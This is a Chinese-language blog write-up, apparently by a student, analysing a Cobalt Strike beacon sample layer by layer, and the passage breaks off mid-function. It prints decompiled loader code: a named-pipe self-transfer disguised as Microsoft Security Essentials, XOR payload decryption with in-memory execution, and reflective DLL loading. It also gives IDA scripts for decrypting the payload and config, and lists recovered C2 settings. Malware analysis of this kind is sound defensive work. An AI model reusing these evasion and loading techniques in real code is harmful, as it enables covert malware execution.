期末侥幸存活,最近又在忙着培训,由于本人一心二用的本领比较差,只能晚上回宿舍后赶文章,可算是在培训结束,暑假正式开始之前写完了
其实一开始想叫“攻击链详解”的,但写完了发现好像也没有那么详细,于是改成了“解析”
大家凑合着看看吧 (つ﹏<。)
EXE 层
TLS 回调函数
上来先看到了两个 TLS 回调函数,在 beacon 中,回调函数通常会在程序入口点之前执行,来完成一些初始化工作,因此我们从这里入手
TLS(Thread Local Storage,线程本地存储)就是每个线程独立拥有的数据,线程创建时诞生,线程销毁时必须清理
TLS 回调函数的职责就是在程序运行的某个关键节点进行 TLS 的初始化与销毁
CriticalSection 就是一种线程同步锁,确保同一时刻只有一个能执行某一段代码,防止多个线程同时操作一份数据造成意外
TlsCallback_0()
__int64 __fastcall TlsCallback_0(__int64 a1, int a2)
{
if ( dword_446450 != 2 )
dword_446450 = 2; // 设置全局状态标志
if ( a2 == 1 ) // DLL_PROCESS_ATTACH
sub_402DE0(a1, 1); // 初始化 CriticalSection
return 1;
}
TlsCallback_1()
__int64 __fastcall TlsCallback_1(__int64 a1, int a2)
{
if ( a2 && a2 != 3 ) // 只处理 0 (DETACH) 和 3 (THREAD_DETACH)
return 1; // 其他 reason 直接跳过
sub_402DE0(a1, a2);
return 1;
}
sub_402DE0() —— 清理各线程的 TLS 数据
__int64 __fastcall sub_402DE0(__int64 a1, int a2)
{
if ( a2 == 1 )
{
if ( !dword_44A920 )
InitializeCriticalSection(&CriticalSection); // 创建 CriticalSection
dword_44A920 = 1; // 标记已初始化
return 1;
}
else
{
if ( a2 )
{
if ( a2 == 3 )
{
if ( dword_44A920 )
sub_402C50(a1); // 清理该线程的 TLS 数据
}
}
else
{
if ( dword_44A920 )
sub_402C50(a1); // 清理所有 TLS 数据
if ( dword_44A920 == 1 )
{
dword_44A920 = 0;
DeleteCriticalSection(&CriticalSection); // 销毁 CriticalSection
}
}
return 1;
}
}
看不太明白,只能确定大致作用:
在入口点 main()和start()之前完成初始化多线程管理,beacon 采用了多线程的架构,在主线程 main()循环外会另起管道服务器和客户端线程,这个后面会分析到,TLS 回调函数会负责各线程 TLS 数据的清理工作
前置工作完成,我们来看程序入口点
入口点 start()
int start()
{
dword_44A070 = 1;
sub_402A80(); // 随机生成加密种子 or 会话密钥(可能?)
return sub_401180(); // 初始化、反射式 DLL 定位和 main() 调用
}
调了两个函数,我们一个一个来看
sub_402A80() —— 随机数生成
unsigned __int64 sub_402A80()
{
unsigned __int64 result; // rax
struct _FILETIME v1; // r12
__int64 CurrentProcessId; // rbp
__int64 CurrentThreadId; // rdi
__int64 TickCount; // rsi
LONGLONG v5; // r12
struct _FILETIME SystemTimeAsFileTime; // [rsp+20h] [rbp-48h] BYREF
LARGE_INTEGER PerformanceCount; // [rsp+30h] [rbp-38h] BYREF
result = 0x2B992DDFA232LL;
SystemTimeAsFileTime = 0;
if ( qword_446470 == 0x2B992DDFA232LL )
{
GetSystemTimeAsFileTime(&SystemTimeAsFileTime);
v1 = SystemTimeAsFileTime;
CurrentProcessId = GetCurrentProcessId();
CurrentThreadId = GetCurrentThreadId();
TickCount = GetTickCount();
QueryPerformanceCounter(&PerformanceCount);
v5 = (TickCount
^ CurrentThreadId
^ CurrentProcessId
^ PerformanceCount.QuadPart
^ *(_QWORD *)&v1)
& 0xFFFFFFFFFFFFLL;
result = ~v5;
if ( v5 == 0x2B992DDFA232LL )
{
result = 0xFFFFD466D2205DCCuLL;
v5 = 0x2B992DDFA233LL;
}
qword_446470 = v5;
qword_446480 = result;
}
else
{
qword_446480 = ~qword_446470;
}
return result;
}
取了 5 个系统熵(GetSystemTimeAsFileTime、GetCurrentProcessId、GetCurrentThreadId、GetTickCount、QueryPerformanceCounter),其实就是随机数,进行异或以后截取低 48 位,若结果为 0x2B992DDFA232,则替换为 0x2B992DDFA233
将这个随机数存储在 qword_446470 中,其反值存储在 qword_446480 中
这个随机数后续并没有明显的调用(也可能是我没有分析到),只能猜测是随机生成的加密种子或会话密钥
sub_401180() —— 初始化、反射式 DLL 定位和 main() 调用
// write access to const memory has been detected, the output may be wrong!
int sub_401180()
{
PVOID StackBase; // rbx
signed __int64 v1; // rax
int v2; // esi
signed __int64 v3; // rax
HMODULE v4; // rax
FARPROC ProcAddress; // rax
char v6; // cl
char *i; // rax
char v8; // dl
int wShowWindow; // eax
int v10; // edi
char **v11; // rbp
__int64 v12; // rax
char **v13; // rsi
__int64 v14; // rbx
size_t v15; // r12
char *v16; // rax
char *v17; // rdx
int result; // eax
struct _STARTUPINFOA StartupInfo; // [rsp+20h] [rbp-98h] BYREF
memset(&StartupInfo, 0, sizeof(StartupInfo));
if ( dword_44A070 )
GetStartupInfoA(&StartupInfo);
StackBase = NtCurrentTeb()->NtTib.StackBase;
v1 = _InterlockedCompareExchange64(&qword_44AA08, (signed __int64)StackBase, 0);
v2 = 0;
if ( !v1 || (LOBYTE(v2) = 1, StackBase == (PVOID)v1) )
{
LABEL_9:
if ( dword_44AA00 == 1 )
goto LABEL_42;
LABEL_10:
if ( dword_44AA00 )
{
dword_44A000 = 1;
}
else
{
dword_44AA00 = 1;
initterm(&qword_44C018, &qword_44C030);
}
if ( dword_44AA00 != 1 )
goto LABEL_13;
goto LABEL_43;
}
do
{
Sleep(0x3E8u);
v3 = _InterlockedCompareExchange64(&qword_44AA08, (signed __int64)StackBase, 0);
if ( !v3 )
{
v2 = 0;
goto LABEL_9;
}
}
while ( StackBase != (PVOID)v3 );
v2 = 1;
if ( dword_44AA00 != 1 )
goto LABEL_10;
LABEL_42:
amsg_exit(31);
if ( dword_44AA00 == 1 )
{
LABEL_43:
initterm(&First, &Last);
dword_44AA00 = 2;
}
LABEL_13:
if ( !v2 )
_InterlockedExchange64(&qword_44AA08, 0);
if ( off_446400 )
off_446400(0, 2);
sub_4022B0();
qword_44A0A0 = (__int64)SetUnhandledExceptionFilter(TopLevelExceptionFilter);
sub_401B90();
v4 = (HMODULE)sub_4028E0();
ProcAddress = GetProcAddress(v4, "_set_invalid_parameter_handler");
if ( ProcAddress )
((void (__fastcall *)(__int64 (__fastcall *)()))ProcAddress)(nullsub_1);
sub_4029B0();
if ( !dword_44A070 )
goto LABEL_33;
v6 = 0;
for ( i = acmdln; ; ++i )
{
v8 = *i;
if ( *i > 32 )
{
if ( v8 == 34 )
v6 ^= 1u;
continue;
}
if ( !v8 )
goto LABEL_30;
if ( !v6 )
break;
}
do
++i;
while ( *i <= 32 && *i );
LABEL_30:
qword_44A990 = (__int64)i;
wShowWindow = 10;
qword_44A9A0 = 0x400000;
if ( (StartupInfo.dwFlags & 1) != 0 )
wShowWindow = StartupInfo.wShowWindow;
dword_44A998 = wShowWindow;
LABEL_33:
v10 = argc;
v11 = (char **)malloc(8LL * (argc + 1));
v12 = 0;
v13 = argv;
if ( v10 > 0 )
{
v14 = 0;
do
{
v15 = (int)(strlen(v13[v14]) + 1);
v16 = (char *)malloc(v15);
v11[v14] = v16;
v17 = v13[v14++];
memcpy(v16, v17, v15);
}
while ( v10 > (int)v14 );
v12 = v10;
}
v11[v12] = 0;
argv = v11;
sub_402A60();
_initenv = envp;
result = main(argc, (const char **)argv, (const char **)envp);
dword_44A018 = result;
if ( !dword_44A01C )
exit(result);
if ( !dword_44A000 )
{
cexit();
return dword_44A018;
}
return result;
}
估计 beacon 是用 C 写的,这个函数负责 C 运行时库的初始化
堆栈基址互斥锁:使用 _InterlockedCompareExchange64确保多线程安全初始化 C 运行时: initterm()调用全局构造函数TLS 线程附着: off_446400(0, 2)调用TlsCallback_0设置异常处理: SetUnhandledExceptionFilter设置顶层异常过滤器SEH 表注册: sub_401B90()注册.pdata段的异常处理函数表MSVCRT 解析: sub_4028E0()搜索并获取 msvcrt.dll 模块句柄命令行解析:解析命令行参数 调用 main(argc, argv, envp)
这谁看得懂啊,我们来看重点的
sub_4028E0() —— 加载 MSVCRT.DLL
HMODULE sub_4028E0()
{
HMODULE result; // rax
int i; // ecx
int v2; // ebx
__int64 v3; // rax
char v4; // dl
char v5; // dl
char v6; // dl
char v7; // dl
char v8; // dl
result = (HMODULE)qword_44A370;
if ( !qword_44A370 )
{
for ( i = 0; ; i = v2 )
{
v2 = i + 1;
v3 = sub_402850();
if ( !v3 )
break;
if ( *(_BYTE *)v3 == 'M' || *(_BYTE *)v3 == 'm' )
{
v4 = *(_BYTE *)(v3 + 1);
if ( v4 == 'S' || v4 == 's' )
{
v5 = *(_BYTE *)(v3 + 2);
if ( v5 == 'V' || v5 == 'v' )
{
v6 = *(_BYTE *)(v3 + 3);
if ( v6 == 'C' || v6 == 'c' )
{
v7 = *(_BYTE *)(v3 + 4);
if ( v7 == 'R' || v7 == 'r' )
{
v8 = *(_BYTE *)(v3 + 5);
if ( v8 == 'T' || v8 == 't' || (unsigned __int8)(v8 - 48) <= '\t' )
{
result = GetModuleHandleA((LPCSTR)v3);
qword_44A370 = (__int64)result;
if ( result )
return result;
break;
}
}
}
}
}
}
}
result = LoadLibraryW(L"msvcrt.dll");
qword_44A370 = (__int64)result;
}
return result;
}
总之就是在大小不敏感地匹配 MSVCRT.DLL,如果没匹配上就 LoadLibraryW(L"msvcrt.dll") 保底
main() —— beacon 主循环!
int __fastcall main(int argc, const char **argv, const char **envp)
{
sub_402A60(argc, argv, envp);
sub_401795(0);
while ( 1 )
Sleep(0x2710u);
}
sub_402A60() —— 一次性初始化
__int64 sub_402A60()
{
__int64 result; // rax
result = (unsigned int)dword_44A380;
if ( !dword_44A380 )
{
dword_44A380 = 1;
return sub_402A00();
}
return result;
}
设置一个全局标志 dword_44A380 保证 main() 只调用一次,就算以外调用多次也是执行 sub_402A00() 进行安全初始化,而不会出现重复初始化,反正不重要
sub_401795() —— payload 自提取
__int64 sub_401795()
{
DWORD TickCount; // eax
DWORD dwCreationFlags; // [rsp+20h] [rbp-48h]
int lpThreadId; // [rsp+28h] [rbp-40h]
int v4; // [rsp+30h] [rbp-38h]
int v5; // [rsp+38h] [rbp-30h]
int v6; // [rsp+40h] [rbp-28h]
int v7; // [rsp+48h] [rbp-20h]
int v8; // [rsp+50h] [rbp-18h]
TickCount = GetTickCount();
v8 = '\\';
v7 = 'e';
v6 = 'p';
v5 = 'i';
v4 = 'p';
lpThreadId = '\\';
dwCreationFlags = '.';
sprintf(
Buffer,
"%c%c%c%c%c%c%c%c%cMSSE-%d-server", // 管道命名:\\.\pipe\MSSE-xxx-server
'\\',
'\\',
dwCreationFlags,
lpThreadId,
v4,
v5,
v6,
v7,
v8,
TickCount % 0x26AA);
// 管道服务器线程 sub_401685() --> sub_4015D0(),发送加密 payload
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_401685, 0, 0, 0);
// 管道客户端线程,接收加密 payload 并解密
return sub_401742();
}
先来总览一下这个函数
sub_401795()
│
├─ GetTickCount() % 0x26AA → 随机数 0~9899
├─ sprintf("\\.\pipe\MSSE-%d-server", 随机数) → 管道名
│
├─ [新线程] CreateThread → sub_401685
│ └─ sub_4015D0(加密数据, 0x40200字节)
│ │
│ ├─ CreateNamedPipeA("\\.\pipe\MSSE-xxx-server", PIPE_TYPE_MESSAGE)
│ ├─ ConnectNamedPipe() ← 阻塞等待客户端连接
│ ├─ WriteFile(加密 DLL, 256KB) ← 写入加密的 Beacon DLL
│ └─ CloseHandle()
│
└─ [当前线程] sub_401742()
│
├─ malloc(0x40200) ← 分配 256KB 缓冲区
├─ 循环重试:
│ Sleep(1024ms)
│ sub_4016A2(buffer) ← 连接管道并读取数据
│ ├─ CreateFileA(管道名, GENERIC_READ)
│ ├─ ReadFile(256KB)
│ └─ CloseHandle()
│
└─ sub_40152E(buffer, 256KB, XOR密钥)
│
├─ VirtualAlloc(MEM_COMMIT, PAGE_READWRITE)
├─ for i in 0..256KB:
│ v7[i] = buffer[i] ^ key[i & 3] ← 4字节循环XOR解密
├─ sub_4014F3() ← 修复导入表
├─ VirtualProtect(PAGE_EXECUTE_READ) ← 改为可执行
└─ CreateThread → jmp rcx ← 执行解密后的 DLL
程序创建了一个管道将加密的 payload 传给自己,有两个好处:
对抗静态分析:加密 payload 传输通过了一个完整的管道通信过程,而不是简单的 memcpy,静态扫描难以追踪这个过程伪装:管道是 Windows 进程之间的正常通信行为,且管道名称 MSSE-的前缀伪装成 Microsoft Security Essentials,看起来就像杀软之间的合法通信
管道已经创建好,接下来来看看管道的两端
管道服务器线程 sub_401685() --> sub_4015D0()
__int64 __fastcall sub_401685(LPVOID lpThreadParameter)
{
sub_4015D0(&unk_404014, nNumberOfBytesToRead);
return 0;
}
// lpBuffer 是传输数据的地址,nNumberOfBytesToWrite 是传输数据的大小
int __fastcall sub_4015D0(char *lpBuffer, signed int nNumberOfBytesToWrite)
{
char *NamedPipeA; // rbx
int result; // eax
DWORD NumberOfBytesWritten; // [rsp+4Ch] [rbp-2Ch] BYREF
NumberOfBytesWritten = 0;
NamedPipeA = (char *)CreateNamedPipeA(Buffer, 2u, 0, 1u, 0, 0, 0, 0);
result = (_DWORD)NamedPipeA - 1;
if ( (unsigned __int64)(NamedPipeA - 1) <= 0xFFFFFFFFFFFFFFFDuLL )
{
result = ConnectNamedPipe(NamedPipeA, 0);
if ( result )
{
// WriteFile() 将加密 payload 写入管道
while ( nNumberOfBytesToWrite > 0
&& WriteFile(NamedPipeA, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0) )
{
nNumberOfBytesToWrite -= NumberOfBytesWritten;
lpBuffer += NumberOfBytesWritten;
}
return CloseHandle(NamedPipeA);
}
}
return result;
}
可以确定加密 payload 在 unk_404014,大小为 nNumberOfBytesToRead(0x40200 byte)
想必 payload 的解密逻辑就在管道的另一端了
管道客户端线程 sub_401742()
__int64 sub_401742()
{
void *v0; // rbx
v0 = malloc((int)nNumberOfBytesToRead);
do
Sleep(0x400u);
while ( !(unsigned int)sub_4016A2(v0, nNumberOfBytesToRead) ); // 从管道读取数据
sub_40152E(v0, nNumberOfBytesToRead, &unk_404008); // 解密 payload
return 0;
}
来看解密函数 sub_40152E()
HANDLE __fastcall sub_40152E(__int64 a1, int a2, __int64 a3)
{
SIZE_T v3; // rsi
_BYTE *v7; // rbx
__int64 i; // rax
DWORD flOldProtect[11]; // [rsp+3Ch] [rbp-2Ch] BYREF
v3 = a2;
v7 = VirtualAlloc(0, a2, 0x3000u, 4u); // 分配内存
for ( i = 0; (int)i < a2; ++i )
v7[i] = *(_BYTE *)(a1 + i) ^ *(_BYTE *)(a3 + (i & 3)); // 循环异或解密
sub_4014F3(v7, (unsigned int)i); // 修复导入表
VirtualProtect(v7, v3, 0x20u, flOldProtect); // 将内存修改为可执行
return CreateThread(0, 0, StartAddress, v7, 0, 0); // 创建新线程,加载解密后的 payload
}
逻辑很简单,先解密 payload,再用 CreateThread() 创建新线程,执行 StartAddress
StartAddress 只有 jmp rcx,就是跳转到解密 payload 的基址开始执行
解密逻辑也很简单,拿 unk_404008 处的 4 byte 长度的密钥与密文循环异或
密钥可以确定是 6DF79E09,提取 unk_404014 处大小为 0x40200 byte 的加密 payload 与密钥循环异或解密即可
在 ida 中,File-Script file,选择下面的脚本即可
"""
IDA Python 脚本:提取并解密 Cobalt Strike Beacon 嵌入的 DLL
用法:
1. 在 IDA Pro 中打开目标程序
2. File → Script file → 选择本脚本
3. 解密后的 Beacon DLL 将保存到当前工作目录下
"""
import idaapi
import idc
import os
# === 参数 ===
ENCRYPTED_ADDR = 0x404014 # 加密数据起始地址
ENCRYPTED_SIZE = 0x40200 # 262,656 字节
KEY_ADDR = 0x404008 # 4 字节 XOR 密钥地址
OUTPUT_FILE = "beacon_decrypted.dll"
def read_bytes(addr, size):
"""从指定地址读取 size 个字节"""
data = b""
for i in range(size):
byte = idc.get_wide_byte(addr + i)
data += bytes([byte])
return data
def xor_decrypt(data, key):
"""4 字节循环 XOR 解密"""
result = bytearray(len(data))
for i in range(len(data)):
result[i] = data[i] ^ key[i & 3]
return bytes(result)
def main():
print("[*] 读取 4 字节 XOR 密钥 @ 0x%X" % KEY_ADDR)
key = read_bytes(KEY_ADDR, 4)
print("[*] 密钥: %s" % " ".join("%02X" % b for b in key))
print("[*] 读取密文 @ 0x%X, 大小: 0x%X (%d bytes)" % (ENCRYPTED_ADDR, ENCRYPTED_SIZE, ENCRYPTED_SIZE))
encrypted = read_bytes(ENCRYPTED_ADDR, ENCRYPTED_SIZE)
print("[*] XOR 解密中...")
decrypted = xor_decrypt(encrypted, key)
# 验证 MZ 头
if decrypted[:2] == b"MZ":
print("[+] 解密成功!PE 头验证通过 (MZ)")
else:
print("[-] 警告:解密结果不以 'MZ' 开头,密钥可能不正确")
print(" 前 4 字节: %s" % " ".join("%02X" % b for b in decrypted[:4]))
return
# PE 上报的实际大小(从 PE 头读取)
pe_size = None
if decrypted[:2] == b"MZ":
pe_offset = int.from_bytes(decrypted[0x3C:0x40], "little")
if pe_offset + 4 <= len(decrypted):
size_of_image = int.from_bytes(decrypted[pe_offset+0x50:pe_offset+0x54], "little")
pe_size = size_of_image
print("[*] PE SizeOfImage: 0x%X (%d bytes)" % (pe_size, pe_size))
# 写入文件
output_data = decrypted if pe_size is None else decrypted[:pe_size]
out_path = os.path.join(os.path.dirname(idaapi.get_input_file_path()), OUTPUT_FILE)
with open(out_path, "wb") as f:
f.write(output_data)
print("[+] 已保存 %d 字节到: %s" % (len(output_data), out_path))
print("[+] 完成 — 可以用 IDA 打开 %s 继续分析" % OUTPUT_FILE)
if __name__ == "__main__":
main()
解密出来发现文件头是 MZ,是个 dll,改个后缀加载进 ida 继续分析
真正的攻击才刚刚开始
DLL 层
本人上来是先搜字符串的

发现了明显的 powershell 命令执行的模板,但是没有直接的调用,只好从头分析
ReflectiveLoader() —— 反射式 DLL 加载
对于一个普通的 dll 而言,需要外部进程通过 LoadLibrary() 完成一系列加载过程
而这个 dll 是由上一层的 exe 解密后直接加载进内存的,需要这个手写的加载器 ReflectiveLoader() 作为入口点,完成一系列的自加载过程,使得 dll 不需要外部进程调用 LoadLibrary()、不需要导出函数被外部使用,就能自举完成加载并进入自主运行状态
大概就是这个意思,所以我们从这个函数入手
__int64 __fastcall ReflectiveLoader(__int64 a1)
{
__int64 v1; // rax
unsigned __int8 v3; // [rsp+30h] [rbp-A8h]
__int64 v4; // [rsp+38h] [rbp-A0h]
void *v5; // [rsp+40h] [rbp-98h]
__int64 v6; // [rsp+40h] [rbp-98h]
unsigned int v7; // [rsp+48h] [rbp-90h]
unsigned int v8; // [rsp+4Ch] [rbp-8Ch] BYREF
__int64 v9; // [rsp+50h] [rbp-88h]
__int64 v10; // [rsp+58h] [rbp-80h] BYREF
__int64 v11; // [rsp+60h] [rbp-78h]
unsigned __int64 v12; // [rsp+68h] [rbp-70h]
_QWORD v13[13]; // [rsp+70h] [rbp-68h] BYREF
v10 = 0;
v8 = 0;
strcpy((char *)v13, "AAAAAAAABBBBBBBB");
BYTE1(v13[2]) = 0;
WORD1(v13[2]) = 0;
HIDWORD(v13[2]) = 0;
memset(&v13[3], 0, 64);
v9 = sub_180016EF4();
if ( (v13[0] & 0xFFFFFF) == 0x414141 && (v13[1] & 0xFFFFFF) == 0x424242 )
sub_180016F84(v13);
if ( !(unsigned int)sub_180017314(v13) )
sub_180017374(v13);
v4 = *(int *)(v9 + 60) + v9;
if ( (*(_WORD *)(v4 + 22) & 0x8000) == 0x8000 )
v7 = 64;
else
v7 = 4;
v5 = (void *)sub_1800175C4(v13, v4, v9, v7);
v12 = *(unsigned int *)(v4 + 80);
memset(v5, 0, v12);
v3 = *(_BYTE *)(v4 + 16);
v6 = sub_180017774(v5, v4, v9, v3);
sub_180017834(v6, v4, v9, (unsigned int)&v10, (__int64)&v8);
sub_180017934((unsigned int)v13, v6, v4, v9, v3);
sub_180016E84(v10, v8, v3);
sub_180017BF4(v6, v4);
sub_180017714(v13, v10, v8, v7);
memset(v13, 0, 0x58u);
if ( (*(_WORD *)(v4 + 22) & 0x1000) == 0x1000 )
v1 = *(unsigned int *)(v4 + 128);
else
v1 = *(unsigned int *)(v4 + 40);
v11 = v1 + v6;
((void (__fastcall *)(__int64, __int64, __int64))(v1 + v6))(v6, 1, a1);
return v11;
}
先来看一看完整流程
ReflectiveLoader(lpReserved)
│
├─ 1. sub_180016EF4() → 自定位:找 DLL 基址
│
├─ 2. sub_180016F84 / sub_180017374 → 初始化配置
│
├─ 3. 解析 PE 头 → 判断 PE32/PE32+
│
├─ 4. sub_1800175C4() → VirtualAlloc 分配新内存
│
├─ 5. sub_180017774() → 复制 PE 头 + 各段到新内存
│
├─ 6. sub_180017834() → 自行解析导入表 (IAT)
│
├─ 7. sub_180017934() → 处理基址重定位 (RELOC)
│
├─ 8. sub_180016E84() → FlushInstructionCache
│
├─ 9. sub_180017BF4() → VirtualProtect 设置段保护
│
├─ 10. sub_180017714() → 调用 TLS 回调
│
└─ 11. DllMain(hInstance, DLL_PROCESS_ATTACH, lpReserved)
看不懂,直接来看重点吧
sub_180016EF4() —— 定位 DLL 基址
__int64 sub_180016EF4()
{
__int64 i; // [rsp+20h] [rbp-18h]
unsigned __int64 v2; // [rsp+28h] [rbp-10h]
// sub_180016E74() 就是 retaddr(),返回当前地址
for ( i = sub_180016E74(); ; --i )
{
if ( *(_WORD *)i == 'ZM' )
{
v2 = *(int *)(i + 60);
if ( v2 >= 0x40 && v2 < '\x04\0' && *(_DWORD *)(i + v2) == 'EP' )
break;
}
}
return i;
}
这是本人唯一能看明白的部分,也刚好是重点部分,这个函数逻辑很简单,就是要找到 dll 在内存中的基址,便于后续反射式自加载
通过 sub_180016E74()调用retaddr()获取当前地址向低地址遍历,匹配 dll 文件的文件头 mz当匹配到 mz时,还需要校验:在 mz后 60bytes 处的e_lfanew字段记录着PE文件头PE的偏移,校验其值是否在合理范围内到相应偏移处去确认是否为 PE通过校验,可以确定找到了 dll 当前在内存中的基址
这是恶意程序的典型特征
编译器在生成代码时,会假设 dll 被加载到一个固定的基址,程序中其他所有地址都是基于这个地址写死的,但实际上 dll 被加载的位置是不确定的,因此需要进行地址的重定位
寻找基址的目的就是为了实现地址重定位,在绝对地址上加上偏移,确保所有的命令能指向正确的函数地址
导入表记录需要调用的外部 api 的绝对地址,但是导入表在在 PE 头中的地址是一个相对地址,因此找到基址也有利于 dll 定位到导入表
接下来就是分配新内存、把整个 PE 结构搬过去、解析导入表、处理重定位......
总之就是这个 dll 独立完成了加载工作
ReflectiveLoader() 最后调用了 DllMain(),虽然没有直接调用

大致就是自行通过基址 v6 + 相对地址 v1 计算出了 DllMain() 的入口点,并且设定第二个参数 fdwReason 为 1(这个很重要)
具体不太明白,但是凭直觉也知道接下来该看 DllMain() 了
DllMain()
BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
DWORD v5; // edx
struct _MEMORY_BASIC_INFORMATION Buffer; // [rsp+20h] [rbp-38h] BYREF
v5 = fdwReason - 1;
if ( v5 )
{
if ( v5 == 3 )
{
if ( (unsigned __int16)sub_180018664(38) == 1 && hinstDLL && VirtualQuery(hinstDLL, &Buffer, 0x30u) )
{
if ( Buffer.Type == 0x20000 )
{
VirtualFree(hinstDLL, 0, 0x8000u);
}
else if ( Buffer.Type == 0x40000 )
{
UnmapViewOfFile(hinstDLL);
}
}
sub_18000CA74(lpvReserved);
}
}
else
{
sub_180018694();
}
return 1;
}
书接上文,由于调用 DllMain() 时传入的 fdwReason 参数为 1,因此这里先执行 sub_180018694()
sub_180018694() —— 解密配置模块
void *__fastcall sub_180018694(__int64 a1)
{
__int64 i; // rax
__int64 v2; // rdx
int v3; // ebx
__int64 v4; // rdx
__int16 v5; // ax
__int16 v6; // si
__int64 v7; // rdi
size_t v8; // rbx
const void *v9; // rax
__int16 v10; // ax
__int64 v11; // rdx
__int16 v12; // di
_BYTE v14[40]; // [rsp+20h] [rbp-28h] BYREF
qword_180047710 = a1; // 保存 dll 实例句柄到 qword_180047710
qword_180047718 = (__int64)malloc(0x800u); // 分配 0x800bytes 的内存存储配置表
memset((void *)qword_180047718, 0, 0x800u); // 将分配的内存空间置 0
for ( i = 0; i < 4096; ++i ) // 异或 0x2E 解密配置模块
byte_18003C030[i] ^= 0x2Eu;
sub_180013E30(v14, byte_18003C030, 4096); // 将解密的配置模块写入 byte_18003C030
while ( 1 ) // 配置模块读取
{
v12 = sub_180013EDC(v14, v2);
if ( v12 <= 0 )
break;
v3 = (__int16)sub_180013EDC(v14, v11);
v5 = sub_180013EDC(v14, v4);
v6 = v5;
v7 = 16LL * v12;
*(_WORD *)(v7 + qword_180047718) = v3;
if ( v3 == 1 )
{
v10 = sub_180013EDC(v14, (unsigned int)(v3 - 1));
v2 = qword_180047718;
*(_WORD *)(v7 + qword_180047718 + 8) = v10;
}
else if ( v3 == 2 )
{
*(_DWORD *)(v7 + qword_180047718 + 8) = sub_180013E40(v14);
}
else
{
v2 = (unsigned int)(v3 - 3);
if ( v3 == 3 )
{
v8 = v5;
*(_QWORD *)(v7 + qword_180047718 + 8) = malloc(v5);
v9 = (const void *)sub_180013E78(v14, (unsigned int)v6);
memmove(*(void **)(v7 + qword_180047718 + 8), v9, v8);
}
}
}
return memset(byte_18003C030, 0, sizeof(byte_18003C030)); // 清除明文配置模块
}
程序逻辑很简单
分配并初始化存放配置模块的内存空间 解密配置模块并写入刚刚分配的内存空间 读取配置模块 将明文配置模块清除
读完了还要清除,那很可疑了,我们来解密看看
编写脚本,读取 0x18003C030 处的 4096 字节逐字节异或 0x2E 解密即可
和上面的脚本一个用法
# IDA Python script: decrypt the embedded beacon config at 0x18003C030
# Algorithm: XOR each byte with 0x2E, length 4096 bytes
# Output: exports decrypted data to a file, does NOT modify the IDB
import idaapi
import idc
import os
def decrypt_config():
start_ea = 0x18003C030
length = 4096
key = 0x2E
# Get the IDB directory as output path
idb_path = idc.get_idb_path()
out_dir = os.path.dirname(idb_path) if idb_path else "."
out_path = os.path.join(out_dir, "beacon_config_decrypted.bin")
print(f"[*] Reading config from {hex(start_ea)}, {length} bytes, XOR key: {hex(key)}")
decrypted = bytearray()
for i in range(length):
cipher = idc.get_wide_byte(start_ea + i)
decrypted.append(cipher ^ key)
# Export to binary file
with open(out_path, "wb") as f:
f.write(decrypted)
print(f"[+] Exported decrypted config to: {out_path}")
# Print first 256 bytes as hex dump
print("[*] First 256 bytes after decryption:")
for i in range(0, 256, 16):
hex_str = " ".join(f"{decrypted[i+j]:02X}" for j in range(16))
ascii_str = "".join(chr(decrypted[i+j]) if 32 <= decrypted[i+j] < 127 else "." for j in range(16))
print(f" {i:04X}: {hex_str} {ascii_str}")
# Print all readable strings (>= 4 printable chars)
print("\n[*] Readable strings found:")
current = bytearray()
for i in range(length):
b = decrypted[i]
if 32 <= b < 127:
current.append(b)
else:
if len(current) >= 4:
print(f" offset {i - len(current):04X}: {current.decode()}")
current = bytearray()
if len(current) >= 4:
print(f" offset {length - len(current):04X}: {current.decode()}")
return decrypted
if __name__ == "__main__":
decrypt_config()
脚本会自动将解密结果写入一个 .bin 文件并提取可打印字符串输出在终端中,我们来看一看
[*] Readable strings found:
offset 0058: dl7~
offset 00A7: 3mP2Z5
offset 0138: 192.168.50.5,/cx
offset 0279: @%windir%\syswow64\rundll32.exe
offset 02BF: @%windir%\sysnative\rundll32.exe
offset 0324: POST
offset 035E: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0)
offset 0463: @/submit.php
offset 05C4: Cookie
offset 07BD: &Content-Type: application/octet-stream
offset 0E5F: p-!m
offset 0EF8: ; p4
offset 0F13: 'a7LE
offset 0F23: %k]8,
offset 0FA3: 7)g6v
重大发现!
C2 通信配置
0138 | 192.168.50.5,/cx | |
0463 | @/submit.php | |
0324 | POST | |
035E | Mozilla/4.0 (compatible; MSIE 7.0; ...) | |
07BD | &Content-Type: application/octet-stream | |
05C4 | Cookie |
Spawn To 配置(进程生成模板)
0279 | %windir%\syswow64\rundll32.exe | |
02BF | %windir%\sysnative\rundll32.exe |
这两个对应 sub_18000E6C4 中用 ExpandEnvironmentStringsA 展开的 spawnto 路径。
本人开始认为 powershell 命令执行模板的地址 0x18002D491 也被写在了配置模块中,但是解密后并没有匹配到 18002D491,只好作罢
sub_18000CA74() —— 主循环!
其实在这之前就卡住了,因为在 DllMain() 传入参数 fdwReason 为 1 的情况下 sub_18000CA74() 根本不会执行,但里面全部都是攻击行为,不执行又不太可能
ai 的解释是在 DllMain() 执行完毕返回给了上层的 exe,由 exe 再次调用 DllMain(fdwReason=4),解释有点牵强,而且在 exe 中负责提取 payload 的 sub_401795() 函数上下文中也没有发现相关代码 ,我们暂且按下不表,直接来看这个函数吧
__int64 sub_18000CA74()
{
__int64 v0; // rbx
unsigned int v1; // r12d
char *v2; // r15
int v3; // ebp
_DWORD *v4; // r14
int v5; // esi
int v6; // edi
unsigned __int16 v7; // ax
unsigned int v8; // eax
void *v9; // rdi
const char *v10; // rax
const char *v11; // rax
unsigned int v12; // eax
int v13; // ebx
int v14; // eax
int v15; // eax
__int64 v16; // rdx
const char *v19; // [rsp+30h] [rbp-48h]
char *Buffer; // [rsp+90h] [rbp+18h]
char *v21; // [rsp+98h] [rbp+20h]
v0 = sub_180013D24(640);
Buffer = (char *)sub_180013E78(v0, 256);
sub_180013E78(v0, 256);
v1 = 0;
v2 = (char *)sub_180013E78(v0, 128);
v21 = (char *)sub_180018630(8);
sub_180018664(67);
sub_1800185DC(68);
sub_1800185DC(69);
sub_1800185DC(70);
sub_180018664(1);
sub_180018664(2);
v3 = sub_1800185DC(3);
sub_1800185DC(19);
sub_180018630(9);
v19 = (const char *)sub_180018630(10);
v4 = malloc(0x10u);
v5 = sub_1800185DC(69);
v6 = sub_1800185DC(70);
LODWORD(v0) = sub_1800185DC(68);
